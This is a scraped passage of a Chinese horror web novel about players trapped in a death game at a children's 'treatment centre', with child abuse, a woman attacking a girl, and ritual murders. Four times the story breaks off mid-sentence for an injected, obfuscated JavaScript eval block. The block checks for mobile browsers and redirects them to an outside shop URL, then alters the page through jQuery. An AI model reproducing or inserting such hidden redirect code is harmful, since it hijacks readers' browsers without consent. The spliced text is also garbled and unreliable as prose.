鲍芙迎看着眼前的男人,他看起来相当年轻,五官仔细看相当惊艳,但是气质却很奇怪,虽然他那张漂亮的脸上总是挂着友善的表情,但是他的眼神透着沉沉死寂,仿佛包含着沉重到让人无法承受的心事一般。 她迟疑了一下,最终看着隋舟的眼睛点了点头:“好。走吧。” 另一边,陆行带着吴崂到达了前院。 吴崂望着院子里的绿植和空旷的道路,不明白问:“这里有什么可看的?” 陆行没转头,只瞥眼看了一眼站在自己身边的吴崂,说实话,在这之前他还真没注意过这个人,这会儿才仔细看了看他,瘦弱的身材,脸色蜡黄,长着一双三角眼,一口老烟枪的黑牙……他不觉有些反胃,收回了视线,没回答问题,却忽然开口问道:“你刚从牢里出来不久?” 那吴崂一听,愣了一下,条件反射叹道:“你怎么知道?” 陆行鼻子皱了皱,非常轻微的动作一晃而过,然后才说道:“牢里待久了的人,都有一种味道。” “啊?什么味道?”吴崂感到纳闷,他抬起手臂闻了又闻,除了久未洗澡的汗臭味,倒是没什么特别的味道。 陆行嘴角扯了扯,也看不清是不是笑,他脑海里出现另一张脸,一张连他这种见惯了俊男美女的人也不得不称赞上一句的脸:“……除了你,还有一个。”。 “什么还有一个?等等,我怎么闻不到?”吴崂还在纳闷问:“到底什么味道?” “不过……那一个又有点不一样……”陆行耳边听着吴崂的问题,可他脑海里浮现的是那张美丽脸上沉寂的双眼,然后慢吞吞回答:“当然是……活死人的味道。” 吴崂一听,顿时皱眉,他仿佛想起了什么让他不悦的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164070|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,突然暴躁地骂道:“妈的!都怪那死女人!要不是他,我也不会进牢里!你说得很对,那牢里的日子真他妈让我是个行尸走肉一般!” “女人?”陆行偏头疑问,可很快他恍然大悟一般:“啊,你老婆?” “陆先生,你可真是神机妙算啊!可不就是我家那老娘们!妈的,老老实实在家看家不就好了!天天往外跑!打他竟然还敢报警!看老子这次出去不打死他!” 陆行啊了一声,仿佛想起什么,又顿时觉得可惜一般摇了摇头。 吴崂看他模样,急切问:“大师,怎么了?” 陆行声音冰冷:“杀人的话,你岂不是又要坐牢,还会死刑。要是她,也就是你老婆也进游戏就好了。” 吴崂皱眉:“为什么?哦……也对,他那么笨,进来就死。” “不是。”陆行却否认了说道:“因为在这里杀人,不需要负责任。” 吴崂一愣,随即他想起早上大家在餐厅的时候这位男士仿佛就提到过玩家利用规则杀害玩家这件事。 “你怎么知道?”吴崂脸色顿时严肃,他猛然抬头看着陆行,一脸惊恐:“你……你在游戏里杀过人?” 陆行听到这个问题,没有回答,他仿佛陷入了某种回忆,深邃的眼神妄想远方,伸出手摸了摸自己的额头的伤疤,仿佛做出了回答一般。 吴崂低头,眼珠在三角眼里飞快转动,随即他又说道:“所以,如果杀人有利于游戏结果的话,我们可以杀人来完成!!对了,还可以杀NPC对吗?” “自然要看时机。”陆行没有正面回答,却反而说道:“我一般只选择聪明人结盟,就像……你这样的。” 吴崂一听这句话,一丝笑容爬上他的脸。他认为陆行已经说得很是明白,他们是盟友了!如今这个游戏里大家好似齐心协力,但是他们两人却已做好了另一个决定! 很好,很好…… 吴崂想到自己上一个副本,那是他的第一个副本……在那里他九死一生,活着出去之后就因为惊吓过度高烧了三天三夜,暴瘦20斤,命都差点丢了。他再也不想经历这样的事情。 “陆先生,我看你到了这里就一直运筹帷幄的样子,小弟就跟着你混了。”他说着环视了一圈问:“就是不知道您来这院子里是看什么呢?” 陆行没有回答,他好像总是不太回答问题,只是反问:“你昨天是几点到达的这里?” “我到的时候天还没黑呢,大概就是六点半左右吧。” “你到这里的时候看到什么?” “嗯……就是破旧的大门啊……还有就是儿童医院大门旁边挂着的那块破牌匾。” “儿童医院……”陆行轻声念叨,然后非常轻声地说道:“我有一点眉目,但是还需要继续拼凑,等我捋清楚了线索就告诉你。” 吴崂一听大喜,他的脑子可不好使,如果有大神帮忙分析那自然是最好。 “你先回去。我得一个人静静地想一想。”陆行淡淡开口。 吴崂立马点头:“好,我先走了,您慢慢想我不打扰您!”说完一溜烟地跑了。等吴崂离开之后,陆行却慢慢往医院大门走去。大门被一把大锁紧闭着,他无法出去……他又看了看院子,院子的左右两侧绿化带里都种满了不同颜色的月季,这些植物和破败的院墙大门比起来却是新鲜得很…… 又仔细检查了一番,陆行才往回走去。可刚走到东楼的时候,感觉到一股视线,他迅速看向视线投来的方向,看到那里的窗户后面隐隐约约有一个人影正在盯着自己。 那里好像是东楼二楼的档案室,陆行犹豫了一下,转身往东楼走去。 5. 人之初05 一个小时前。 隋舟和鲍芙迎到达了东楼,这里也是孩子们治疗的大楼。 东楼和宿舍楼不太一样,这栋楼整体显得很是破旧,也很冷清,两人从一楼上到三楼都不曾见到一个人,而且一楼和二楼也仿佛已经废弃了一般,每间房间门窗都破旧不堪,满是灰尘。直到上了三楼才又有了窗明几净的感觉。 “这医院为何设计得这么奇怪?”隋舟一边疑惑,回头却发现鲍芙迎还没跟上来。此时她仿佛脱了力气一般,趴在楼梯扶手上大口喘气。 隋舟之前就看出了鲍芙迎身体不太好,此刻算是证实了这一点。他走过去扶起鲍芙迎说,“突然爬三楼会累也是正常,我们慢慢走。” 鲍芙迎看着眼前的男人,他这么年轻,可那双眼睛却和自己这种半只脚跨进棺材的活死人一样沉寂,甚至他此刻说着关心的话,可眼神里却看不出任何关怀。 这怎么都是有些奇怪的。 鲍芙迎自嘲地笑了笑:“癌症末期,身体已经彻底不行了。” 隋舟一怔,他没想到眼前女人竟是身患绝症……一时不知道用何种表情面对。半晌问了一句,“你不是第一次进这里对吗?” 鲍芙迎点头:“这是第三次,刚好历时三个月。” 隋舟扶着鲍芙迎慢慢往前走,一边似问似感叹:“这个游戏到底为何存在?又是如何挑选参加的人?” 为何……为何癌症缠身的末路之人竟也要受此磨难? “不知道……”鲍芙迎深深叹气,“或许你以后能够弄明白,而我……恐怕是等不到那一天了。” 隋舟皱眉一时缄默无语。 “为我难过吗?”鲍芙迎笑,“不必,我的命运本来已经只有一种可能就是死于癌症,但是现在却给了我悬念,死于癌症还是……死在这里,倒是给我的余生增加了些未知的趣味不是吗?” 难过……老实说,隋舟内心不知道是什么感觉,但是他知道这时候应该摆出这种名为“难过”的表情。 不过,这让隋舟想起了姜梦蝶,他想知道,姜梦蝶死亡前也如鲍芙迎一般冷静地等待着死亡吗?毕竟,她的死亡如此平静。 “等等。”鲍芙迎急促的喊道,同时拉着隋舟往后退了一步。隋舟扭头看向他们来到的第一间治疗室,治疗室的门上有一个小小的玻璃窗,鲍芙迎刚才瞥了一眼,看到的景象着实有些诡异,她现在浑身都在发抖。 隋舟轻轻拍了拍鲍芙迎肩膀,对他点头安慰示意她蹲着等待,然后自己深呼吸一口,悄悄探头向玻璃窗看去,只见房间里没有医生也没有护士,只有一个小男孩,早上的时候,隋舟特意记了一下他们几人专属的小孩,眼前这小男孩正是童思静负责的08号男生,可奇怪的是他此刻全身赤-裸地站在一面镜子前面,他的旁边放着一个大喇叭,想来应该是在播放着什么,但是房间隔音太好,什么都听不见。 隋舟皱眉,本就黑沉沉的双瞳更暗了。 他回头示意鲍芙迎就在这里等他,然后一个人灵巧地躬身,静静地往其他治疗室走去。 鲍芙迎自知自己身体情况,便点头同意,原地靠墙坐着等待。 第二个治疗室里面是那个大学毕业生新人毕薪负责的小女孩04号,只见她躺在一张床上,满脑袋都插着各种线路,他旁边有个大屏幕,因为角度问题,看不清显示的什么。房间里依然只有孩子,没有医生和护士。 隋舟接着去往第三个治疗室,这一次,房间里有两个人高马大的男护工,而里面的孩子正是鲍芙迎负责的02号男孩,房间里的景象如果换成普通人一定是瞬间就会怒气上涌——两个男护工一人举着一根粗长的鞭子高高扬起,抽打着02号。 隋舟犹豫了一下,他第一次进入游戏,不知道干涉NPC行为是否会触碰禁忌,毕竟他们进来之后还没有一点线索指向禁忌规则。最终他还是决定先把几个治疗室全部看完,再找鲍芙迎商议。 走到第四个治疗室,隋舟刚悄悄将视线移向门上的窗户,突然,窗户口出现一张丑陋的大脸,那脸露出一个大大的笑容,一口黄牙让人恶心。 隋舟猛地后退一步,心里只有一个想法——被发现了!他扭头就往回跑,下一秒那治疗室的门就砰的一声被人从里面猛地推开,隋舟回头,只见一个高大肥壮的男人怒吼一声向他们冲来,肥壮男人的移动速度极快,隋舟顺势蹲下躲过了肥壮男人的攻击。 可能是声音引起了注意,没想到他回头的方向也走出来一个肥壮男人。 隋舟只能对鲍芙迎喊道一声:“往回跑!分开跑!”吼完之后自己往走廊另一端跑去。 鲍芙迎看到此情景,也赶紧回头往楼下走去,隋舟心里放了心,还好这鲍芙迎不是三流恐怖电影里的傻子,没有站在原地等。所幸这栋楼走廊两端都是楼梯,而且那些肥壮NPC只能在三楼区域活动,追到楼梯口后只能看着跑下楼的隋舟无能怒吼。隋舟回头看着那个肥壮男做了个鬼脸以示鄙夷,接着转头飞快地继续下楼,直到下到了二楼,遥望到了走廊另一端也下来的鲍芙迎,才停下了脚步。 隋舟对站在走廊另一端的鲍芙迎招了招手,示意她就在那边等自己走过去。二楼并非全是小房间,反而几乎都被打通,成为一个大间档案室,只有另一端楼梯口有两间小房间,但是这档案室没有人管理,门窗紧闭。 隋舟对着鲍芙迎做了个手势,示意自己先去查看一下档案室,让她原地等一下自己。 鲍芙迎点了点头,她也累了,便坐在楼梯上休息,却隐约听到楼梯旁边的房间传来一阵声音,像是争吵又像是呻-吟,她回头看向走廊,却发现隋舟应当是已经进了档案室里面,走廊上没有了身影。 鲍芙迎犹豫了一下,最后决定起身,自己前往那声音处查看。 隋舟进入档案室,便听到了一点细微的声音,看来这里面有人。他小心翼翼地循着声音,走到了最后一个书架,然后屏住呼吸,猛地将书架推开。瞬间,一个小小的身影窜了出来,重重地撞在了隋舟的大腿上,隋舟迅速地伸手一捞,就抓住了那小孩的肩膀。 小孩抬头看向隋舟,却让隋舟恍惚了一下,那小孩不是分给他们八人的任何一个小孩——这里还有其他小孩! 就是这一愣神,那小孩竟然像一条泥鳅一样一扭就从隋舟手里钻了出去,然后瞬间就消失了身影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164071|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那小孩消失后,隋舟缓缓抬起自己的手掌,他的手里捏着一张揉成一团的纸条,是那个小孩刚才塞给他的! 隋舟立刻打开纸条看了起来,那上面写着:今夜十二点,档案室见。 ——不像小孩的字体! 隋舟看到纸条的第一反应便是如此——看来这个小孩是在帮谁递送纸条给自己。 正当他收好纸条伸手开门的时候,门突然被人从外面推开了,一个高大的穿着精致白衬衣和西装马甲的高大男人站在门口。 “是你?”陆行看到隋舟在里面,有些意外。 隋舟对他的问题也感到疑惑,没等他回答,陆行又问:“你在这里见到过其他人吗?” 隋舟一秒也没犹豫,挑眉一脸无辜地摇头说:“没有人,怎么了?” 陆行似乎在回忆什么,然后直直地看向隋舟眼睛,半晌才冷冷地说:“没事,应当是我看错了。”说完便开门让路,让隋舟走了出去。 结果隋舟刚一走到走廊,就听到走廊另一端传来巨大的号啕声,两人对视一眼,不约而同地疾步往走廊另一头跑去。 等他们跑到走廊尽头的时候,看到的却是两个小女孩打了起来。其中一人蹲在墙角捂着头,另一人正拳打脚踢,隋舟一眼就认出被欺负到蹲在墙角的小女孩是自己负责的01号,而另一个正在全力踢向01号的正是吴崂负责的06号,而鲍芙迎仿佛被两个孩子的行为激怒,脸色苍白地扶着墙站在旁边。 隋舟上前拉开06号,护着01号在身后,做出一脸怒气地问:“你在干什么?” “关你什么事?”06号女生年纪虽小,但胆量却挺大的,看到大人来了也一点都不害怕,叉着腰喊道,“劝你别多管闲事!” 隋舟也是没想到小女孩竟然是这种态度,正想教训他一下,忽然“啪!-啪!-啪!”,三巴掌落在了06号脸上。 这动静让隋舟都愣了神,他猛地看向身边的鲍芙迎,只见她浑身都在发抖,皮包骨头的脸上露出一副凶狠的表情,还没等隋舟反应,她猛地一把握住06号高高扎起的马尾,拖曳着她就往楼梯方向走去。 06号被打蒙了,可现在头发扯的痛让她反应了过来,猛地大喊大哭起来,可鲍芙迎爆发出的力气甚至让她看起来和刚才完全不像是一个人一般,力气大得可怕,她将06号拖到楼梯口后,猛地一推就将06号从楼梯上推了下去。 砰砰砰……06号像个布娃娃一般从楼梯滚落,挣扎了几下就晕了过去…… 可鲍芙迎仿佛还未解气,噔噔噔地也下了楼,刚准备再次抓向06号马尾的时候,被陆行拉住了。 陆行的声音并没有怒气,仿佛只是很冷静地说了一句:“够了”。 但是他说出口的同时,鲍芙迎动作停止了下来,她如梦初醒一般看着眼前的景象,看向地上躺着的小女孩,忽然,自己全身也脱了力,跌坐在地上。 隋舟看着跌坐在地上的鲍芙迎,他和陆行脑子里的疑惑都差不多,虽然任谁看到刚才06号欺负01号都很生气,但是鲍芙迎的反应实在是超出了正常人的范围,他刚才绝对没看错——鲍芙迎是真的想杀了06号…… 6. 人之初06 陆行看着地上的一大一小,再看向正在思考着什么的隋舟问:“先回去?” 隋舟回头看了一眼,01号双眼红彤彤的,小心地站在自己身后,然后他点头对陆行说:“两个小孩麻烦你了。” 说完自己扶着鲍芙迎起身,对她说:“我们先回去休息一下再说其他的。” 鲍芙迎点了点头。 陆行让隋舟和鲍芙迎走前面,然后自己背上背着01号,双手打横抱着晕倒的06号跟了上去。陆行身材高大,两个小孩一前一后看起来倒是小小的两个,仿佛不是小孩,而是玩偶一般。 一行人三大两小走了好一会儿才终于到达了门诊大楼,却发现大厅里站着好几个人,正是没有外出,留在大楼里换洗床单的袁秉谦、童思静和毕薪三人,除外还站着一些护士打扮的人,看起来是护士们送治疗的孩子回来了。 等所有人到齐后,按照护士的要求,他们现在需要带孩子们到二楼饭厅用晚餐,餐后再回到三楼宿舍休息。 到了二楼饭厅内,大家很自然地按照早上座位入座,还是孩子一桌,大人一桌。孩子那桌依然是吃饭吃得热热闹闹,而大人这桌有几个人脸色却很是奇怪。 隋舟感受到那一股微妙的奇怪氛围,坐下后对着袁秉谦问了一句:“怎么了?” 袁秉谦脸色凝重,开口说道:“我们几个刚才正在讨论,感觉这次尸体死得太不“游戏”了。 “太不游戏,是什么意思?”隋舟纳闷地问。 “因为这里并非现实世界,这里可以有任何灵异的、非科学的存在,或者说,这里最多的就是非科学的存在。” 鲍芙迎精神恢复了许多,她听到这话撑着虚弱的身体,小声问:“你是说……鬼?” “对。”童思静深呼吸说道,“鬼杀人,尸体会是各种各样,但唯独不会是……” 隋舟立刻就懂了,难怪他也总是有一种奇怪的感觉。他们都知道这里并非现实世界,但是今早死亡的两具尸体却死得太现实——或者说杀人的手法太过于像人类…… 他思考了一下,说道:“确实,从这两具尸体来看,两人的死法并非仇杀也并非情杀,更不是激情杀人,而是一种带着仪式感的虐杀手法,指向的是很典型的变态连环杀人犯,如果按照现实世界的思维方式,下一步需要证实的就是,凶手如何挑选受害者,以及为什么两个人的死亡方式并非完全相同。” “为什么两个人死得不一样?”童思静问,“你知道吗?” 隋舟摇了摇头说:“还无法确认,仅从目前信息来看,像是升级了杀人手法。虽然在现实中,很少有凶手会在一夜之间杀人就升级手法,但也并非完全不可能。” “这样说的话,这里本就不是现实世界……”袁秉谦思考地说道,“一切都可能在规则的加持下变得更加夸张。” “可是和之前大家说的手法不太游戏又有什么关系?”毕薪摇了摇头,她感到头痛,“像人杀人的手法又怎么了?不是说副本是各式各样的吗?” “你说得很对,副本各式各样的,他们担心的就是万一这次副本的鬼不是鬼,而是……人。”童思静尝试着对毕薪做出解释,但感觉说得不够清楚。 陆行则是从头到尾都像个围观看戏的人一样,这会儿,他才终于说了第一句话,只是这语气轻飘飘的,淡淡地说道:“他们担心的是,这次副本的‘鬼’就是‘玩家’……” 毕薪猛地捂住嘴巴,仿佛这一切都远远超过她的想象!童思静轻拍着她的背安慰。 话说得很明白,大家也都懂了,但是目前除了这样的猜测,没有一点实质性的线索。终究还是要回归到副本上来,寻找到最根本的线索才可能碰触到真相,找到通行卡通关离开这里。 袁秉谦打破了大家的沉默,叹了口气说:“时间不多了,大家还是分享一下今天各自的收获吧。” “等一下,毕薪的状态不对。”童思静忽然打断了大家,这时候大家才注意到,毕薪恐怕是今天惊吓过度,现在整个人嘴唇都白了,额头冒着冷汗,全身发-抖。 “要不,先把毕薪扶回去休息。”袁秉谦问。 童思静点了点头:“我带她回去休息,你们先讨论着。” 等童思静带着毕薪离开后,袁秉谦才说道:“毕薪走了也好,不然等会儿我讲的东西恐怕又要刺激到她。” “发生什么了?”鲍芙迎也有些担心,急切地问道。 袁秉谦开始讲述起来:“我们各自分开后,我和童思静、毕薪便先回宿舍取了被尿湿的床单,然后三人一同到走廊尽头的洗衣房洗了床单,大概用时半小时,这期间我们三人没有分开,就在那洗衣房内进行了对此次副本的一些想法的讨论,计划洗完后再外出探索一下地图。 可是洗完之后,毕薪因为精神状况不太好想要休息一会儿再外出,希望我们可以等她一起,于是我们三人各自回到宿舍后,独自待了一小时左右,又才相约集合。 可是约定时间到了,没等到毕薪,我和童思静就去了她房间里,才发现她房间的地上少说也有十几只死老鼠,而毕薪本就脆弱的神经被这一地的死老鼠吓得更加脆弱,竟然坐在床上自言自语,精神失常一般。 我和童思静赶紧清理了死老鼠后又安抚了她一会儿,花了大概一个小时,然后才一起下了楼,可是刚下楼那些护士就带着孩子们回来,让我们照顾孩子,不得外出了。” “哪来的死老鼠?”大家都感到奇怪,“而且,竟然突然出现十几只?这数量也太多?” 袁秉谦摇了摇头:“这个暂时还不是很清楚。先说你们吧,有什么发现?” 陆行没有说话,只是瞥了一眼吴崂。吴崂恍然大悟一般猛地坐直了身子看着大家叹了口气:“今天我们一组去了前院,不过可惜没什么发现。” 大家听到他这样说一时并无法分辨他话里的真假,但是这个游戏说白了还是团队协作,只要有一个人能揭开谜底,所有人都有机会活着通关,所以大部分人还是不太会随便树敌,于是大家沉默也没有提出疑问。 接下来是隋舟,他懒懒地靠在椅背上,歪头看了一眼鲍芙迎,鲍芙迎低着头没有反应,他耸肩说:“我来说吧。” 接着,他把自己到治疗室看到的几间房间的治疗情况描述了一遍,接着又说了06号霸凌01号的事,但是关于鲍芙迎发狂的事和自己在档案室碰到小孩拿到纸条的事都只字未提。 大家的注意力倒是都放在了治疗室里发生的情况上,对其他事也就并无异议。 针对孩子们在治疗室的情况,大家一番热烈讨论后,得出“这个所谓的治疗中心绝对不是治疗疾病的”结论。 袁秉谦表示认同:“我昨天也检查过05号,哦,也就是我负责的那个小女孩,她完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164072|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像是哪里生病的样子。” 其他人纷纷点头。 “而且,他们没有名字这一点也很是奇怪。”童思静接着说道。 “可是,既然不是治疗身体疾病的,那么是治疗什么的?”显而易见的事情,吴崂却是想不明白。 隋舟几乎是对他的智商一脸嫌弃,皱着眉说道:“如果治疗是真的,那么不是身体疾病,自然就只能是……心理疾病。” “当然,这个心理疾病也不一定是真的。”陆行挑了挑眉,“或许只是父母觉得他们有病。” 大家隐约都能明白他的意思,但是目前这些都是猜想,即使继续讨论也没有什么结果。 隋舟看向依然还在昏迷的06号,之所以他们几人不约而同地没有将他送去治疗,就是因为这根本无法“治疗”。 “她怎么样?就这样没事吧。”童思静只以为06号是和01号打架时跌落楼梯,便没有多问。 隋舟回答:“她摔的时候我检查过了,应该是没有什么大碍,她应该早就醒了。” 话音刚落,06号似乎被人戳穿,身子就动了动,站起身,扭头看了隋舟一眼,小声说道:“多管闲事!”说完一溜烟地往楼上跑去。 “天已经黑了。”袁秉谦起身说道,“天黑后最好还是待在卧室吧,有什么事明天再说。” 在知道孩子们在治疗室的经历后,众人看向孩子的眼神里多了一丝怜悯,纷纷带着孩子们回到房间休息了。隋舟将自己负责的01号送回宿舍,得到她的同意后,又和童思静一起带着08号女孩前往毕薪房间。 可他们刚走进毕薪的房间就发现毕薪蜷缩在床上的角落,捂着头全身发抖。 隋舟上前本想安慰她,却刚走进房间,就看到床旁边地上竟然有一只猫,一只死去已经僵硬的狸花猫。 隋舟立刻想到之前袁秉谦说毕薪房间里有许多死老鼠的事情,显然,现在事情升级了。 童思静本想先带毕薪离开房间,待他们收拾好死猫之后再进来,谁知他一碰到毕薪的手,毕薪立即抬头疯狂大叫起来,一边叫一边还胡乱地打着。她的精神状况越发的不好,尖叫声划破耳膜一般响彻整层楼,其他房间的人听到声音纷纷跑了过来。 大家看到此场景,都认定毕薪一定是被选中了,她极有可能是下一个死亡的人。 吴崂一看,只觉得自己今夜安全了,口无遮拦道:“妈呀,怎么你房间里总是有这些个死物,是不是就预示着你今晚要死啊!” “不会说话可以不说。”童思静立刻制止了他。 吴崂耸肩瘪嘴,转身离开。 可他这句话却刺-激了毕薪,只见毕薪疯狂大叫,然后猛地冲向08号,抓住他问道:“你们是谁?啊?让我们照顾你们,是不是你们有问题?你们这些个小孩子一个比一个奇怪。告诉我……怎么出去?啊?怎么出去?啊啊啊啊!!” 随着她的质问和尖叫,08号吓得哇啦一声哭了出来。一时之间哭声、叫声响彻楼栋。 陆行没有出现过,吴崂和鲍芙迎看了一下就回了房间,只剩下隋舟、童思静和袁秉谦三人在此花了九牛二虎之力才安抚好毕薪,又将08号哄睡着,三人才回到了自己房间。 隋舟回到自己负责的01号房间的时候,01号已经睡着了,他看了看时间,距离十二点只有半小时了,他要赶紧去赴约了。 7. 人之初07 今夜没有月亮,天幕漆黑一片,隋舟行走在前往档案室的路上,他的手揣在衣服口袋里,指尖摩挲着那张纸条。没有人的地方,隋舟不用考虑表情,此时的他一脸冷漠,双眸黑沉沉的。 今日突然出现的那个小孩,是真相的指引,还是恶魔的召唤?他不敢确定,但是如今,只能冒险。 隋舟打开档案室门后,那个给他纸条的小孩正站在门后,好似一直在等待着他的到来。 房间里没开灯,只有月光洒进来,隋舟还未开口,那小孩先说了话:“哥哥,我带你去找她。” “TA?是谁?”隋舟问,“你又是谁?” 小女孩没有说话,跑到隋舟身边,拉着他的手就往档案室深处走去,一直走到了最后一个档案架,然后小女孩对着档案架后面说道:“奶奶,有人来了。” 隋舟心中正对着奶奶这两个字疑惑的时候,就看到档案室后面走出来一个约莫六十来岁的女人。 她面容和善,但是眉眼却带着愁容。 隋舟不知为何,一看到女人的脸时,那种紧张和担心就消失了,他知道,这是一个有求于他的人…… “不好意思,吓到你了吧。”女人声音厚重而温柔,她微笑地说着指了指旁边的椅子说,“我们去那边坐着说吧,因为下班后不能再在这里,所以我不敢开灯,有人巡逻。” “下班?”隋舟更加疑惑,难道她是在这档案室上班的人?可是之前都没有见到过她。 “这位阿姨,请问你约我半夜来这里有什么事呢?”两人坐定后,隋舟开门见山问了出来。 只见这问题一出,女人脸上的笑容消失,眼中的悲伤更甚,甚至眼眶都红了。 她长长地叹了一口气才缓缓开口:“我实在是没办法了才想到了这个办法,虽然我知道对于你们来说非常为难……但是……但是我真的没办法了啊!” 女人说着终于哭了起来。 隋舟眉头微蹙,一时之间也不好再追问,便递了一张纸巾过去安慰:“没关系,您先说,如果能帮得上忙的,我会尽量的。” 女人猛地抬起头:“这……你这可就是做出承诺了,就必须做到了,否则……否则……规则不会放过你的!” 隋舟一怔,他竟是一瞬间忘记这个女人也是NPC的事,看来答应他的请求就相当于接受了某种支线任务吧,隋舟这样想着,也只能点头:“嗯,您先说说什么事?” 女人叹了一口气,说道:“我的女儿被人杀死了,我希望你能救救我的女儿……” “你的女儿?”隋舟问,“她在哪里?要怎么救?” 那女人却仿佛听不到隋舟的话,自顾自说道:“她好可怜啊……年纪轻轻就这样被人残忍地杀害……杀害他的人我认识,我认识啊!你一定要救救她。” “谁在里面?” 突然,外面传来巡逻的声音,女人显然受到了惊吓,连忙将手指放在嘴唇上,对隋舟摇头表示不要出声。 接着,巡逻的人打开门往里面看了一眼,没看到他们也没听到什么声音后,又关上了门。 女人这才小心翼翼开口:“我要走了。” 隋舟一时无语,心想什么都没说就要走了,这要自己怎么救人? “那你女儿的信息总要告诉我一些,我至少要知道她是谁,才能说救人的事。” 女人已经走到门边听着外面的声音,半晌,应该是确定没有声音了,回头小声对隋舟说道:“吴妄,我女儿叫吴妄,你答应了我,一定要救救她啊!” 说完女人小心翼翼地将门开了一条缝,飞快地走了。 第二天早上,天刚刚亮,隋舟就已经靠门而立等待着。 昨夜,从档案室回来后,他几乎一夜没睡,只要一闭上眼睛,他脑海里就出现那些孩子们在治疗室的模样,他想不明白,为什么要给他们一人分配一个孩子?这其中到底有什么原因? “叮铃铃——请各看护于半小时后带着孩子到餐厅用早餐,早餐后护士长将接孩子们去治疗。请大家遵守时间。” 叫醒广播响起,他看到各玩家先后打开自己卧室门,进入了对面孩子的房间。隋舟已经和01号说好,自己有事,晚一点再去带他吃饭。这会儿,隋舟率先走向了鲍芙迎的房间,昨天治疗室里,鲍芙迎负责的孩子治疗方式看起来最为残暴,是两个大汉拿着鞭子抽打他。 鲍芙迎刚叫醒了08号,正在给他准备衣服鞋子,看到隋舟这么早来找自己有些疑惑。 隋舟扬了扬手中的药膏说:“昨天看08号受了伤,拿点药膏来给他擦一下。” 鲍芙迎昨夜也检查过了,08号背上全是藤条抽出来的红色细长印迹,看隋舟拿了药膏便接了过去:“你哪来的药膏?” 隋舟回答:“01号房间里有一些。没想到真用上了。” 鲍芙迎拿着药膏准备给08号上药,可08号却一言不发穿好衣服,皱着眉头一巴掌暴力地将鲍芙迎手中的药膏拍掉在地上。 隋舟看着这一切眉头微蹙。 鲍芙迎却好像习惯了,对隋舟说:“从来到这儿,他就一直这样,脾气不太好。” 既然这样,隋舟也不装了,开门见山问08号,语气冷漠:“他们为什么打你。” 08号手上拽着个破烂的布娃娃,恶狠狠盯着隋舟,还是不说话。 鲍芙迎摇了摇头:“我来这里还没听他说过一句话。没用的。” 隋舟见如此,便捡起药膏收好,转身走了。紧接着,他去了斜对面陆行的孩子房间,却发现陆行负责的07号还在睡觉,他本人也不着急喊他起床一般,就悠闲地坐在窗户边玩着最老式的掌机游戏——俄罗斯方块。 隋舟进入这里之后检查过,进入这里之后,至少手机这一电子产品除了拍照功能,和收听本地下载好的音频外,其他功能都失灵了。所以一时之间也不知道他那个几十年前流行的游戏机是带进来的还是这里面本来就有的。索性这也并不重要,隋舟脑海里闪过一秒的念头,他就继续往后面查看去了。 下一家是吴崂房间,06号也正在玩着吴崂的手机,拿着相机到处拍。手机仅剩下的几个功能,那小孩就玩得很是认真,完全没有注意其他人。 接下来,隋舟去了童思静的房间,这个房间和前面的氛围完全不同,只见童思静负责的08号正在自己穿着衣服,而童思静坐在椅子上正给孩子读着童话故事《灰姑娘》 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164073|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,08号一边自己穿着衣服一边听得认认真真,时不时地问着童思静各种问题。童思静也笑嘻嘻的耐心回答,孩子听完也笑得开心。这是唯一一间像是正常相处的孩子和大人的房间。 再往下,是毕薪的房间。隋舟回忆了一下,对毕薪孩子印象不深,好像和自己01号一样,是个话很少的孩子。隋舟敲了一下门,没有动静,却忽然从门缝中闻到了一股浓烈的血腥味,隋舟神情一冷,猛地拉开了门。 童思静也准备来看看毕薪,刚走到门口就被隋舟拉开房门后,里面呈现的画面冲击到了,她双腿一软跌坐在地上。 只见毕薪的孩子倒在地上,和07号死于溺水不同,毕薪负责的04号死状更加类似于薛燥,他的胸腔被人划开,心脏放在胸腔外面,地上的出血量几乎是一个小孩的全部出血量了。 